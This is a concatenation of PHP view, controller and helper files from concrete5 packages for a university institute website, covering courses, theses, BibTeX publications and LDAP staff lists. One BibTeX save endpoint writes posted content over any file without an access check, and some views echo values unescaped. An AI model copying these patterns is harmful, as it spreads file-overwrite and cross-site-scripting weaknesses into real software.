$this->controller->getLdapUsers(), $uName, array('style' => 'width: 100%')) ?> </p> <?php else : ?> <?php echo t('There are currently no users available. Confirm dialog to show all theses.'); ?> <?php endif; ?> <?php endif; ?> </div><file_sep><?php defined('C5_EXECUTE') or die("Access Denied."); $bt->inc('editor_init.php'); ?> <div> <h4><?= t('Title of this custom content block') ?></h4> <div style="padding-right: 10px"> <?= $form->text('title', $title, array('style' => 'width: 100%')) ?> </div> </div> <div> <h4><?= t('Content of this custom content block') ?></h4> <div style="text-align: center"><textarea id="ccm-content-<?php echo $a->getAreaID() ?>" class="advancedEditor ccm-advanced-editor" name="content"></textarea></div> </div><file_sep><?php defined('C5_EXECUTE') or die(_("Access Denied.")); Loader::model('page_list'); class ItmCourseBlockController extends BlockController { protected $btTable = 'btItmCourse'; protected $btInterfaceWidth = "500"; protected $btInterfaceHeight = "400"; protected $btWrapperClass = 'ccm-ui'; public function getBlockTypeDescription() { return t("Adds a course to a course page."); } public function getBlockTypeName() { return t("ITM Course"); } public function save($data) { $data['lecturers'] = $data['lecturersJson']; $data['assistants'] = $data['assistantsJson']; $data['groups'] = Loader::helper('json')->encode($data['groups']); parent::save($data); } public function getJavaScriptStrings() { // return translated strings available for Java Script return array( 'invalid_lecturer' => t('At least one lecturer is invalid (none selected or empty field). Take a look at position: '), 'invalid_assistant' => t('At least one assistant is invalid (none selected or empty field). Take a look at position: ') ); } /** * @return array asso. array of UserInfo elements with qualified user names * as keys (qualified means: ITM_COURSES_LDAP_PREFIX + user * name) */ public function getLdapUsers() { if (!$this->hasItmLdap()) { return array(); } Loader::helper('itm_courses', 'itm_courses'); $ilh = Loader::helper('itm_ldap', 'itm_ldap'); $result = array(ITM_COURSES_LDAP_PREFIX . 'none' => t('None')); foreach ($ilh->getLdapStaffFromC5() as $user) { $result[ITM_COURSES_LDAP_PREFIX . $user->uName] = $user->uName; } return $result; } public function getCourseGroups() { if (strlen($this->groups)) { return Loader::helper('json')->decode($this->groups); } return array(); } public function getLecturers() { if (!strlen($this->lecturers)) { return array(); } return Loader::helper('json')->decode($this->lecturers); } public function getAssistants() { if (!strlen($this->assistants)) { return array(); } return Loader::helper('json')->decode($this->assistants); } public function isLdapName($name) { return Loader::helper('itm_courses', 'itm_courses')->isLdapName($name); } public function isEmptyName($name) { return empty($name) || $name == ITM_COURSES_LDAP_PREFIX . 'none'; } public function cutLdapPrefix($name) { if ($this->isLdapName($name)) { return substr($name, strlen(ITM_COURSES_LDAP_PREFIX)); } return $name; } public function renderName($name) { $ldapHelper = Loader::helper('itm_ldap', 'itm_ldap'); if ($this->isEmptyName($name)) { return ''; } if (!$this->isLdapName($name)) { return $name; } $name = $this->cutLdapPrefix($name); $ui = UserInfo::getByUserName($name); if (!empty($ui)) { if (!empty($name)) { $fullName = $ldapHelper->getFullName($ui); $link = $ldapHelper->getUserPageLink($name); if ($link) { echo '<a href="' . $link . '">' . $fullName . '</a>'; } else { echo $fullName; } } } return ''; } /** * @return bool true if ITM LDAP package is available and at least one LDAP * user entry exists, otherwise false */ public function hasItmLdap() { $ldapAuthPkg = Package::getByHandle('ldap_auth'); if (!empty($ldapAuthPkg)) { $ilh = Loader::helper('itm_ldap', 'itm_ldap'); if ($ilh->hasLdapAuth()) { try { return count($ilh->getLdapStaffFromC5()) > 0; } catch (Exception $e) { return false; } } } return false; } } ?><file_sep><?php defined('C5_EXECUTE') or die(_("Access Denied.")); ?> <div> <h4><?= t('Choose user') ?></h4> <?php if ($this->controller->hasUsers()) : ?> <p id="userp" style="padding-right: 10px"> <?= $form->select('uName', $this->controller->getLdapUsers(), $uName, array('style' => 'width: 100%')) ?> </p> <?php else : ?> <?php echo t('There are currently no users available. Please perform a synchronization!'); ?> <?php endif; ?> </div> <file_sep><?php function ItmBibtexBuildUrl($bibEntry) { return ''; } class ItmBibtexHelper { private static $bibIdCounter = 0; public function renderBibEntry($bibEntry, $rawLink = false) { $result = '<li>'; $result .= bib2html($bibEntry); if ($rawLink) { $id = 'bibModal' . self::$bibIdCounter++; $result .= ' <div id="' . $id . '" style="display: none"> <pre style="font-family: \'Courier New\', Courier, monospace;">' . $this->renderBibEntryRaw($bibEntry) . '</pre> </div>'; $result .= '<a class="biburl" title="' . $bibEntry->getKey() . '" href="' . $rawLink . '" onclick="$(\'#'.$id.'\').dialog({width: 900, height: 300, modal: true, show: \'fade\', hide: \'fade\', title: \'Raw Bib Entry View\'}); return false;">[bib]</a>'; } if ($bibEntry->hasField('doi')) { $result .= ' <a target="_blank" href="http://dx.doi.org/' . $bibEntry->getField("doi") . '">[doi]</a>'; } $urlLink = $bibEntry->getUrlLink(); if (!empty($urlLink)) { $result .= " $urlLink"; } if ($bibEntry->hasField('gsid')) { $result .= ' <a target="_blank" href="http://scholar.google.com/scholar?cites=' . $bibEntry->getField("gsid") . '">[cites]</a>'; } $result .= '</li>'; return $result; } public function renderBibEntryRaw($bibEntry) { $raw = $bibEntry->getFullText(); $raw = str_replace("\n", '<br/>', $raw); $raw = str_replace("\t", "&nbsp;", $raw); $raw = str_replace(" ", '&nbsp;', $raw); $raw = str_replace("'", "\\'", $raw); return $raw; } public function getBibDb($fID) { $f = File::getByID($fID); if ($f->isError()) { return null; } $fv = $f->getApprovedVersion(); $cachedFile = DIR_FILES_CACHE . '/' . md5("itm_bibtex_" . $f->getFileID() . "_" . $fv->getFileVersionID()) . '.tmp'; $bibDb = new BibDataBase(); if (!file_exists($cachedFile)) { $bibDb->load($f->getPath()); $bibStr = serialize($bibDb); file_put_contents($cachedFile, $bibStr, LOCK_EX); } else { $serializedBibDb = file_get_contents($cachedFile); $bibDb = unserialize($serializedBibDb); } return $bibDb; } }<file_sep>ITM Corporate Design Theme ITM Corporate Design Theme is an adapted theme from http://corporatedesign.uni-luebeck.de<file_sep><?php defined('C5_EXECUTE') or die("Access Denied."); ?> <?php $form = Loader::helper('form'); $ih = Loader::helper('concrete/interface'); $dh = Loader::helper('concrete/dashboard'); ?> <?php echo $dh->getDashboardPaneHeaderWrapper(t("Common information for user blocks."), false, false, false, array(), Page::getByPath("/dashboard")); ?> <style type="text/css"> #ldap_form table td { vertical-align: middle; } #ldap_form td:first-child, #ldap_form th:first-child { text-align: right } </style> <form method="POST" id="ldap_form" action="<?= View::url($this->getCollectionObject()->getCollectionPath()); ?>"> <div class="ccm-pane-body"> <table width="100%" cellspacing="5" cellpadding="0" class="zebra-striped"> <thead> <tr> <th>Caption</th> <th>Value</th> <th>Default value</th> </tr> </thead> <tbody> <tr> <td><?php echo t('Street name:') ?></td> <td><?php echo $form->text('ITM_LDAP_STREET', $street, array('style' => 'width: 200px')) ?></td> <td><?=t('<NAME>')?></td> </tr> <tr> <td><?php echo t('Street:') ?></td> <td><?php echo $form->text('ITM_LDAP_STREET_NO', $streetNo, array('style' => 'width: 200px')) ?></td> <td>160</td> </tr> <tr> <td><?php echo t('ZIP code:') ?></td> <td><?php echo $form->text('ITM_LDAP_ZIP', $zip, array('style' => 'width: 200px')) ?></td> <td>23538</td> </tr> <tr> <td><?php echo t('City:') ?></td> <td><?php echo $form->text('ITM_LDAP_CITY', $city, array('style' => 'width: 200px')) ?></td> <td><?=t('Lübeck')?></td> </tr> <tr> <td><?php echo t('University caption:') ?></td> <td><?php echo $form->text('ITM_LDAP_UNI_LINKTEXT', $uniLinkText, array('style' => 'width: 200px')) ?></td> <td><?=t('University of Lübeck')?></td> </tr> <tr> <td><?php echo t('University URL:') ?></td> <td><?php echo $form->text('ITM_LDAP_UNI_LINK', $uniUrl, array('style' => 'width: 200px')) ?></td> <td><?=t('http://www.uni-luebeck.de')?></td> </tr> <tr> <td><?php echo t('Institute caption:') ?></td> <td><?php echo $form->text('ITM_LDAP_INST_LINKTEXT', $instLinkText, array('style' => 'width: 200px')) ?></td> <td><?=t('Institute of Telematics')?></td> </tr> </tbody> </table> </div> <div class="ccm-pane-footer"> <div class="ccm-buttons"> <input type="hidden" name="create" value="1" /> <?php print $ih->submit('Save', 'itm_ldap_config_form', 'right', 'primary')?> </div> </div> </form> <?php echo $dh->getDashboardPaneFooterWrapper(false); ?> <file_sep><?php defined('C5_EXECUTE') or die(_("Access Denied.")); ?> <?php switch ($type) { case 0: $typePlain = t('Course'); break; case 1 : $typePlain = t('Seminar'); break; case 2 : $typePlain = t('Workshop'); break; case 3 : $typePlain = t('Practical Course'); break; default : $typePlain = t('Project'); break; } ?> <h1 class="itmCourseEntryName"><?= $name ?></h1> <div class="itmCourseEntry"><?=$typePlain?> <?php $parentPage = Page::getByID(Page::getCurrentPage()->getCollectionParentID()); if ($parentPage->getCollectionTypeHandle() == 'itm_semester_page') : ?> <?=t('in')?>&nbsp;<?=$parentPage->getCollectionAttributeValue('semester_term')?>&nbsp;<?=$parentPage->getCollectionAttributeValue('semester_year')?> <?php endif; ?> </div> <?php $courseOfStudiesList = $this->controller->getCourseGroups(); if (!empty($courseOfStudiesList)) : ?> <h2 class="itmCourseEntry"><?=t('Course of Studies')?></h2> <div class="itmCourseEntry"> <?php $ch = Loader::helper('itm_courses', 'itm_courses'); $addComma = false; foreach ($courseOfStudiesList as $item) { if ($addComma) echo ', '; echo $ch->getCourseGroupByHandle($item)->name; $addComma = true; } ?> </div> <?php endif; ?> <?php if (strlen($credits) || strlen($creditHours)) : ?> <h2 class="itmCourseEntry"> <?php if (strlen($credits)) echo t('Credits'); if (strlen($credits) && strlen($creditHours)) echo ' / '; if (strlen($creditHours)) echo t('Credit Hours'); ?> </h2> <div class="itmCourseEntry"> <?=$credits?> <?=strlen($credits) && strlen($creditHours) ? ' / ' : ''?> <?=$creditHours?> </div> <?php endif; ?> <?php $lecturers = $this->controller->getLecturers(); $assistants = $this->controller->getAssistants(); ?> <?php if (count($lecturers)) : ?> <h2 class="itmCourseEntry"><?=t('Lecturer')?></h2> <div class="itmCourseEntry"> <?php $first = 1; foreach ($lecturers as $lecturer) { if (!$first) { echo ', '; } $rendered = $this->controller->renderName($lecturer); if (strlen($rendered)) { echo $rendered; } $first = 0; } ?> </div> <?php endif; ?> <?php if (count($assistants)) : ?> <h2 class="itmCourseEntry"><?=t('Teaching Assistants')?></h2> <div class="itmCourseEntry"> <?php $first = 1; foreach ($assistants as $assistant) { if (!$first) { echo ', '; } $rendered = $this->controller->renderName($assistant); if (strlen($rendered)) { echo $rendered; } $first = 0; } ?> </div> <?php endif; ?><file_sep><?php defined('C5_EXECUTE') or die("Access Denied."); class ItmCourseItemBlockController extends ContentBlockController { protected $btTable = 'btItmCourseItem'; protected $btInterfaceHeight = "500"; protected $btWrapperClass = 'ccm-ui'; public function getBlockTypeDescription() { return t("HTML/WYSIWYG Editor with option list for course paragraphs."); } public function getBlockTypeName() { return t("ITM General Course Item"); } function save($data) { $content = $this->translateTo($data['content']); $args['content'] = $content; $args['title'] = $data['title']; // call save() on BlockController, not on ContentBlockController // of course, this isn't nice... any other solution here? BlockController::save($args); } } ?> <file_sep><?php defined('C5_EXECUTE') or die(_("Access Denied.")); ?> <?php $groupOptions = array( 'c5-mitarb' => 'c5-mitarb', 'c5-alumni' => 'c5-alumni', 'c5-head' => 'c5-head', 'c5-admin' => 'c5-admin' ); ksort($groupOptions); ?> <div> <h4><?= t('Staff group') ?></h4> <p> <?= $form->select('groupName', $groupOptions, $groupName, array('style' => 'width: 100%')); ?> </p> <h4><?= t('Section title') ?></h4> <p style="padding-right: 10px"> <?= $form->text('caption', $caption, array('style' => 'width: 100%')) ?> </p> </div> <file_sep><?php defined('C5_EXECUTE') or die(_("Access Denied.")); class ItmBibtexPackage extends Package { protected $pkgHandle = 'itm_bibtex'; protected $appVersionRequired = '5.5.1'; protected $pkgVersion = '1.0'; public function getPackageDescription() { return t("Installs the ITM BibTex package."); } public function getPackageName() { return t("ITM BibTex."); } public function install() { $pkg = parent::install(); $themePkg = Package::getByHandle('itm_theme'); if (empty($themePkg)) { $pkg->uninstall(); throw new Exception("Required package <b>itm_theme</b> not found. Install it in advance."); } // install block BlockType::installBlockTypeFromPackage('itm_bibtex', $pkg); Loader::model('single_page'); $sp1 = SinglePage::add('/dashboard/itm_bibtex', $pkg); $sp1->update(array('cName' => t('ITM BibTex'), 'cDescription' => t('Bib File Editor'))); // add allowed file type "bib" if not already exists $helper_file = Loader::helper('concrete/file'); $file_access_file_types = UPLOAD_FILE_EXTENSIONS_ALLOWED; if (!$file_access_file_types) { $file_access_file_types = $helper_file->unserializeUploadFileExtensions(UPLOAD_FILE_EXTENSIONS_ALLOWED); } else { $file_access_file_types = $helper_file->unserializeUploadFileExtensions($file_access_file_types); } // the cool way with PHP 5.3 //$filteredTypes = array_filter($file_access_file_types, function($val){ return trim($val) == 'bib'; }); $filteredTypes = array(); foreach ($file_access_file_types as $val) { if (trim($val) == 'bib') { array_push($filteredTypes, $val); } } if (!count($filteredTypes)) { $file_access_file_types[] = 'bib'; $types = $helper_file->serializeUploadFileExtensions($file_access_file_types); Config::save('UPLOAD_FILE_EXTENSIONS_ALLOWED', $types); } } public static function addUserTextAttr($handle, $name, $pkg) { UserAttributeKey::add('text', array( 'akHandle' => $handle, 'akName' => $name, 'akIsSearchable' => true ), $pkg); } public static function setupLdapAttributes($pkg) { ItmLdapPackage::addUserTextAttr('room_number', t('Room number'), $pkg); ItmLdapPackage::addUserTextAttr('telephone_number', t('Telephone number'), $pkg); ItmLdapPackage::addUserTextAttr('telefax_number', t('Telefax number'), $pkg); ItmLdapPackage::addUserTextAttr('consultation', t('Consultation'), $pkg); ItmLdapPackage::addUserTextAttr('icq_number', t('ICQ number'), $pkg); ItmLdapPackage::addUserTextAttr('skype_number', t('Skype number'), $pkg); ItmLdapPackage::addUserTextAttr('name', t('Name'), $pkg); ItmLdapPackage::addUserTextAttr('title', t('Title'), $pkg); } public static function setupConfig($pkg) { $config = new Config(); $config->setPackageObject($pkg); $config->save('ITM_LDAP_STREET', t('Ratzeburger Allee')); $config->save('ITM_LDAP_STREET_NO', '160'); $config->save('ITM_LDAP_ZIP', '23538'); $config->save('ITM_LDAP_CITY', t('Lübeck')); $config->save('ITM_LDAP_UNI_LINKTEXT', 'University of Lübeck'); $config->save('ITM_LDAP_UNI_LINK', 'http://www.uni-luebeck.de'); $config->save('ITM_LDAP_INST_LINKTEXT', 'Institute of Telematics'); } } ?> <file_sep>/* * validate add/edit field data */ ccmValidateBlockForm = function() { if ($('#groupName').val() == '') { ccm_addError(ccm_t('group-required')); } return false; }<file_sep><?php defined('C5_EXECUTE') or die(_("Access Denied.")); ?> <h1><span style="color: red"><?php echo t('ERROR: no LDAP Auth package installed') ?></span></h1> <div class="ccm-dashboard-inner"> <p>Please install LDAP Auth package before using ITM LDAP!</p> <p>LDAP Auth package is available at <a href="http://www.concrete5.org/community/forums/customizing_c5/packaged-ldap-authentication-working-beta/">http://www.concrete5.org/community/forums/customizing_c5/packaged-ldap-authentication-working-beta/</a></p> </div> <file_sep><?php defined('C5_EXECUTE') or die(_("Access Denied.")); $pubList = $this->controller->getFilteredPubList(); if (!count($pubList)) : ?> <h1 style="color: red; font-weight: bold"> <?php echo t('Please specify required filter data.'); ?> </h1> <?php else : ?> <?php if(empty($author)) echo "<h1>Publications</h1>"; else echo "<h2>Publications</h2>"; ?> <div> <?php $bh = Loader::helper('itm_bibtex', 'itm_bibtex'); foreach ($pubList as $year => $bibEntries) { echo "<h3>$year</h3>"; echo '<ul class="itmBibtexList">'; foreach ($bibEntries as $bibEntry) { echo $bh->renderBibEntry($bibEntry, $popupurl . '?key=' . $bibEntry->getKey() . '&bf=' . $this->controller->getFileID()); } echo '</ul>'; } ?> </div> <?php endif; ?> <file_sep><?php defined('C5_EXECUTE') or die("Access Denied."); define('ITM_THESIS_LDAP_PREFIX', 'ldap:'); /** * Helper class for the concrete5 itm_thesis package. */ class ItmThesisHelper { /** * Checks whether a given name is a LDAP uid or not. This depends on the * thesis specific assumption that the name begins with * ITM_THESIS_LDAP_PREFIX (which is defaulty set to 'ldap:'). * * @param string $name The name to check * @return bool true if it is a LDAP uid, otherwise false */ public function isLdapName($name) { return strpos($name, ITM_THESIS_LDAP_PREFIX) === 0 || $name == ''; } }<file_sep>/* * validate add/edit field data */ ccmValidateBlockForm = function() { return false; }<file_sep><?php defined('C5_EXECUTE') or die(_("Access Denied.")); $emailIconUrl = PageTheme::getByHandle('itm_theme')->getThemeURL() . '/images/email.png'; $members = $this->controller->getGroupMembers(); if (!count($members)): ?> <h1 style="color: red; font-weight: bold"> <?php echo t('No user entries for given group.'); ?> </h1> <?php else : ?> <?= empty($caption) ? '' : '<h2>' . t($caption) . '</h2>' ?> <table class="itmTable itmldapUsers"> <tr> <th class="avatar"> <!-- void --> </th> <th class="name"> <?= t('Name') ?> </th> <th class="email"> <?= t('E-Mail') ?> </th> <th class="phone"> <?= t('Phone') ?> </th> <th class="room"> <?= t('Room') ?> </th> </tr> <?php foreach ($members as $user): ?> <?php $ldapHelper = Loader::helper('itm_ldap', 'itm_ldap'); $link = $ldapHelper->getUserPageLink($user->uName); $name = $user->getAttribute('name'); $description = $user->getAttribute('description'); $tmpemail=split("@",$user->uEmail); //$email_description = $tmpemail[0] . "@itm..."; $email_description = sprintf('<img src="%s" alt="%s" title="%s" width="20" height="20" style="border: 0"/>', $emailIconUrl, $user->uEmail, t('Send mail to ' . $name)); ?> <tr> <td class="avatar"> <?php if ($user->hasAvatar()) { echo ($link ? '<a href="'.$link.'">' : '') . '<img src="' . Loader::helper('concrete/avatar')->getImagePath($user) . '" width="30" alt="Portrait of ' . $ldapHelper->getFullName($user) . '"/>' . ($link ? '</a>' : ''); } else { echo ($link ? '<a href="'.$link.'">' : '') . '<img src="' . DIR_REL . '/packages/itm_ldap/images/noavatar.png" width="26" style="border: 1px solid #e4e4dd; padding: 1px;" alt="' . t('Portrait not available') . '"/>' . ($link ? '</a>' : ''); } ?> </td> <td class="name"> <?= $link ? '<a href="'.$link.'">' . $ldapHelper->getFullName($user) . '</a>' : $ldapHelper->getFullName($user) ?> <br/> <?= empty($description) ? "" : "(" . $description . ")" ?> </td> <td class="email"><a href="mailto:<?= $user->uEmail ?>"><?= $email_description?></a></td> <td class="phone"><?= $user->getAttribute('telephone_number') ?></td> <td class="room"><?= $user->getAttribute('room_number') ?></td> </tr> <?php endforeach; ?> </table> <?php endif; ?> <file_sep><?php defined('C5_EXECUTE') or die(_("Access Denied.")); /* * Process of this file: * 1) Get course list * 2) Run through the list and output courses that belongs to given group */ $list = $this->controller->getCourseList(); $ch = Loader::helper('itm_courses', 'itm_courses'); $customTitle = $this->controller->getCustomTitle(); if (strlen($customTitle)) { $groupTitle = $customTitle; } else { if ($this->controller->getGroupFilter() == '') $groupTitle = t($ch->getCourseGroupByHandle($groupName)->name); } $typeMapping = array(t('Course'), t('Seminar'), t('Workshop'), t('Practical Course'), t('Project')); if (strlen($groupTitle)) echo '<h2>' . $groupTitle . '</h2>'; if (!count($list)) : echo !empty($groupName) ? '<p>' . t('There are no courses available for ') . $groupTitle . '.</p>' : ''; else : ?> <table class="itmTable itmSemester"> <thead> <tr> <th class="name"> <?= t('Name') ?> </th> <th class="type"> <?= t('Type') ?> </th> <th class="credits"> <?= t('Credits') ?> </th> <!--<th> <?= t('Mode') ?> </th>--> </tr> </thead> <?php for ($i = 0; $i < count($list); $i++): ?> <tbody> <tr> <td> <a href="<?= $list[$i]['link'] ?>"> <?= $list[$i]['name'] ?> </a> </td> <td> <?= $typeMapping[$list[$i]['type']] ?> </td> <td> <?= strlen($list[$i]['credits']) ? $list[$i]['credits'] : 'N/A' ?> </td> <!--<td> <?= $list[$i]['mode'] ?> </td>--> </tr> </tbody> <?php endfor; ?> </table> <?php endif; ?><file_sep><?php defined('C5_EXECUTE') or die("Access Denied."); $content = $controller->getContent(); ?> <h2 class="itmTitledParagraphTitle"> <?= $title ?> </h2> <div class="itmTitledParagraphContent"> <?= $content ?> </div><file_sep><?php /* * Process of this file: * 1) Get thesis list * 2) Run through the list: * - map type and status integer to senseful captions * - output values in tabular form */ $list = $this->controller->getThesisList(); if (empty($uName)) { echo '<h1>' . t('Theses') . '</h1>'; } else { echo '<h2>' . t('Theses') . '</h2>'; } if (!count($list)) : echo '<p>' . (empty($uName) ? t('There are currently no theses available.') : t('There are currently no theses supervised by me.')) . '</p>'; else : ?> <table class="itmTable"> <tr> <th class="topic"> <?= t('Topic') ?> </th> <th class="type"> <?= t('Type') ?> </th> <th class="status"> <?= t('Status') ?> </th> </tr> <?php for ($i = 0; $i < count($list); $i++): ?> <?php $topic = $list[$i]['topic']; $link = $list[$i]['link']; switch ($list[$i]['type']) { case 0: $type = t('Bachelor thesis'); break; case 1 : $type = t('Master thesis'); break; default : $type = t('Both'); break; } switch ($list[$i]['status']) { case 0 : $status = t('Open'); break; case 1 : $status = t('Running'); break; default : $status = t('Finished'); break; } ?> <tr> <td class="topic"> <a href="<?= $link ?>"> <?= $topic ?> </a> </td> <td class="type"> <?= $type ?> </td> <td class="status"> <?= $status ?> </td> </tr> <?php endfor; ?> </table> <?php endif; ?><file_sep><?php /* * Process of this file: * 1) Get thesis list * 2) Run through the list: * - map type and status integer to senseful captions * - output values in tabular form */ $list = $this->controller->getSemesterList(); $wtCaption = t('Winter Term'); $stCaption = t('Summer Term'); echo '<h1>' . t('Teaching') . '</h1>'; if (!count($list)) : echo '<p>' . t('There are currently no summer or winter terms available.') . '</p>'; else : ?> <table class="itmTable itmSemesterOverview"> <tr> <th><?=t('Winter Terms')?></th> <th><?=t('Summer Terms')?></th> </tr> <?php foreach($list as $key => $item) { echo '<tr>'; if (!empty($item['winterterm'])) { echo sprintf('<td><a href="%s">%s %s</td>', $item['winterterm'], $wtCaption, $key . '/' . substr(($key+1), 2, 2)); } else { echo '<td>&ndash;</td>'; } if (!empty($item['summerterm'])) { echo sprintf('<td><a href="%s">%s %s</td>', $item['summerterm'], $stCaption, $key); } else { echo '<td>&ndash;</td>'; } } ?> </table> <?php endif; ?><file_sep><?php $f = File::getByID($_POST['f']); if ($f->isError()) { header("HTTP/1.0 404 Not Found\n"); exit(); } Loader::library("file/importer"); $tmpFile = DIR_FILES_INCOMING .'/edited_' . time() . '.bib'; file_put_contents($tmpFile, $_POST['c'], LOCK_EX); $fi = new FileImporter(); $fv = $fi->import($tmpFile, false, $f); unlink($tmpFile); if (!($fv instanceof FileVersion)) { header("HTTP/1.0 404 Not Found\n"); exit(); } echo '1'; ?><file_sep><?php defined('C5_EXECUTE') or die(_("Access Denied.")); class ItmLdapUserOverviewBlockController extends BlockController { protected $btTable = 'btItmLdapUserOverview'; protected $btInterfaceWidth = "300"; protected $btInterfaceHeight = "200"; protected $btWrapperClass = 'ccm-ui'; public function getBlockTypeDescription() { return t("Adds a list of users to a page."); } public function getBlockTypeName() { return t("ITM LDAP User Overview"); } public function save($data) { parent::save($data); } public function view() { $userInfo = UserInfo::getByUserName($this->uName); $this->set('userInfo', $userInfo); } public function getGroupMembers() { if (!$this->hasUsers()) { return array(); } $ilh = Loader::helper('itm_ldap', 'itm_ldap'); $result = array(); $group = Group::getByName($this->groupName); if (empty($group)) { return array(); } $gId = $group->getGroupID(); Loader::model('user_list'); $userList = new UserList(); $userList->sortBy('uName', 'asc'); $userList->showInactiveUsers = true; $userList->showInvalidatedUsers = true; $userList->filterByGroupID($gId); return $userList->get(); } public function hasUsers() { $ilh = Loader::helper('itm_ldap', 'itm_ldap'); if ($ilh->hasLdapAuth()) { try { return count($ilh->getLdapStaffFromC5()) > 0; } catch (Exception $e) { return false; } } } } ?><file_sep><?php defined('C5_EXECUTE') or die(_("Access Denied.")); ?> <?php // this is only a dispatcher file switch ($dispatchTo) { case 'noldapauth': include_once('noldapauth.php'); break; case 'configerror': include_once('configerror.php'); break; default: include_once('synchronize.php'); break; }<file_sep><?php defined('C5_EXECUTE') or die("Access Denied."); Loader::model('page_list'); /** * The itm_thesis_overview block outputs a list of thesis topics linking * to the corresponding thesis pages. No data is written. */ class ItmThesisOverviewBlockController extends BlockController { protected $btTable = "btItmThesisOverview"; protected $btInterfaceWidth = "300"; protected $btInterfaceHeight = "200"; protected $btWrapperClass = 'ccm-ui'; public function getBlockTypeDescription() { return t("Adds a thesis overview to a page."); } public function getBlockTypeName() { return t("ITM Thesis Overview"); } public function save($data) { parent::save($data); } /** * @return array array of thesis items. Thesis items are assoc. arrays with * keys 'topic', 'status', 'type' and 'link', whereby 'link' * is a URL to the thesis resource. */ public function getThesisList() { // load navigation helper to create links from pages $nh = Loader::helper('navigation'); // load thesis helper $th = Loader::helper('itm_thesis', 'itm_thesis'); $pl = new PageList(); $pl->ignoreAliases(); $pl->ignorePermissions(); $pl->filterByCollectionTypeHandle('itm_thesis_page'); $collections = $pl->get(); // create placeholder for thesis entries and their maintained data $items = array(); foreach ($collections as $collection) { $blocks = $collection->getBlocks(); foreach ($blocks as $block) { $bCtrl = $block->getController(); if ($bCtrl instanceof ItmThesisEntryBlockController) { // get controller data - amongst others the thesis // data is included $ctrlData = $bCtrl->getBlockControllerData(); //check user filter if (!empty($this->uName)) { $tutors = $bCtrl->getTutors(); $supervisors = $bCtrl->getSupervisors(); $tutors = array_merge($tutors, $supervisors); $found = false; foreach ($tutors as $tutor) { if (ITM_THESIS_LDAP_PREFIX . $this->uName == $tutor) { $found = true; } } if (!$found) { continue; } } // copy that data to a new item array plus a page link $item = array( 'topic' => $ctrlData->topic, 'status' => $ctrlData->status, 'type' => $ctrlData->type, 'link' => $nh->getLinkToCollection($collection) ); // add item to result list $items[] = $item; break; } } } usort($items, array("ItmThesisOverviewBlockController", "cmpThesisItem")); return $items; } private function cmpThesisItem($a, $b) { if ($a['status'] == $b['status']) { if ($a['topic'] == $b['topic']) { return 0; } return ($a['topic'] < $b['topic']) ? -1 : 1; } return ($a['status'] < $b['status']) ? -1 : 1; } /** * @return array assoc. array of UserInfo objects with user names as keys */ public function getLdapUsers() { if (!$this->hasUsers()) { return array(); } $ilh = Loader::helper('itm_ldap', 'itm_ldap'); $result['0'] = t('Show all'); foreach ($ilh->getLdapStaffFromC5() as $user) { $result[$user->uName] = $user->uName; } return $result; } /** * * @return bool true if LDAP users are present, otherwise false */ public function hasUsers() { $ilh = Loader::helper('itm_ldap', 'itm_ldap'); if ($ilh->hasLdapAuth()) { try { return count($ilh->getLdapStaffFromC5()) > 0; } catch (Exception $e) { return false; } } } } ?><file_sep><?php defined('C5_EXECUTE') or die(_("Access Denied.")); // common form for add and edit task $this->inc('common_edit.php');<file_sep># ITM web site concrete5 packages A set of packages for the concrete5 content management system used by the ITM web site Cloning ====== Before cloning this repository, be sure to enable automatic conversion of CRLF/LF on your machine using "git config --global core.autocrlf input". For more information, please refer to http://help.github.com/dealing-with-lineendings/ Clone the repository using "git clone git://github.com/itm/concrete5-packages.git" <file_sep><?php defined('C5_EXECUTE') or die(_("Access Denied.")); ?> <div> <?php $ch = Loader::helper('itm_courses', 'itm_courses'); $groups = $ch->getCourseGroups(); ?> <h4><?= t('Filter courses by selecting a group...') ?></h4> <?php if (count($groups)) : ?> <p id="userp"> <?= $form->select('groupName', $groups, $groupName, array('style' => 'width: 100%')) ?> </p> <p>... or define a custom title and give a filter name (e.g. <i>bachelor</i> for all groups which contain <i>bachelor</i> - case insensitive):</p> <p style="padding-right: 10px"> Title<br/> <?= $form->text('groupTitle', $groupTitle, array('style' => 'width: 100%')) ?> </p> <p style="padding-right: 10px"> Filter<br/> <?= $form->text('groupFilter', $groupFilter, array('style' => 'width: 100%')) ?> </p> <?php else : ?> <?php echo t('There are currently no groups available. Go to <i>Dashboard / ITM Courses</i> and define at least one.'); ?> <?=$form->hidden('groupName', '')?> <?=$form->hidden('groupFilter', '')?> <?php endif; ?> </div><file_sep><?php defined('C5_EXECUTE') or die("Access Denied."); define('ITM_COURSES_LDAP_PREFIX', 'ldap:'); /** * Helper class for the concrete5 itm_thesis package. */ class ItmCoursesHelper { /** * Checks whether a given name is a LDAP uid or not. This depends on the * thesis specific assumption that the name begins with * ITM_COURSES_LDAP_PREFIX (which is defaulty set to 'ldap:'). * * @param string $name The name to check * @return bool true if it is a LDAP uid, otherwise false */ public function isLdapName($name) { return strpos($name, ITM_COURSES_LDAP_PREFIX) === 0 || $name == ''; } public function getCourseGroups() { $db = Loader::db(); $query = 'SELECT * FROM itmCoursesGroups ORDER BY name ASC'; $r = $db->query($query); $result = array(); while ($row = $r->fetchRow()) { $result[$row['handle']] = new ItmCourseGroup($row['itmCGID'], $row['handle'], $row['name']); } return $result; } public function getCourseGroupByHandle($handle) { $db = Loader::db(); $query = 'SELECT * FROM itmCoursesGroups WHERE handle LIKE ?'; $r = $db->query($query, array($handle)); if ($row = $r->fetchRow()) { return new ItmCourseGroup($row['itmCGID'], $row['handle'], $row['name']); } return null; } public function deleteCourseGroup($handle) { $db = Loader::db(); $q = 'DELETE FROM itmCoursesGroups WHERE handle LIKE ?'; $r = $db->query($q, array($handle)); } public function addCourseGroup($handle, $name) { $db = Loader::db(); $q = 'INSERT INTO itmCoursesGroups (handle, name) VALUES (?, ?)'; $r = $db->query($q, array($handle, $name)); } } class ItmCourseGroup { public $itmCGID; public $handle; public $name; public function __construct($itmCGID, $handle, $name) { $this->itmCGID = $itmCGID; $this->handle = $handle; $this->name = $name; } public function __toString() { return empty($this->name) ? '' : $this->name; } }<file_sep><?php defined('C5_EXECUTE') or die(_("Access Denied.")); class DashboardItmLdapConfigController extends Controller { public function view() { //load and save config data $config = new Config(); $config->setPackageObject(Package::getByID($this->c->pkgID)); $street = $config->get('ITM_LDAP_STREET'); $streetNo = $config->get('ITM_LDAP_STREET_NO'); $zip = $config->get('ITM_LDAP_ZIP'); $city = $config->get('ITM_LDAP_CITY'); $uniLinkText = $config->get('ITM_LDAP_UNI_LINKTEXT'); $uniUrl = 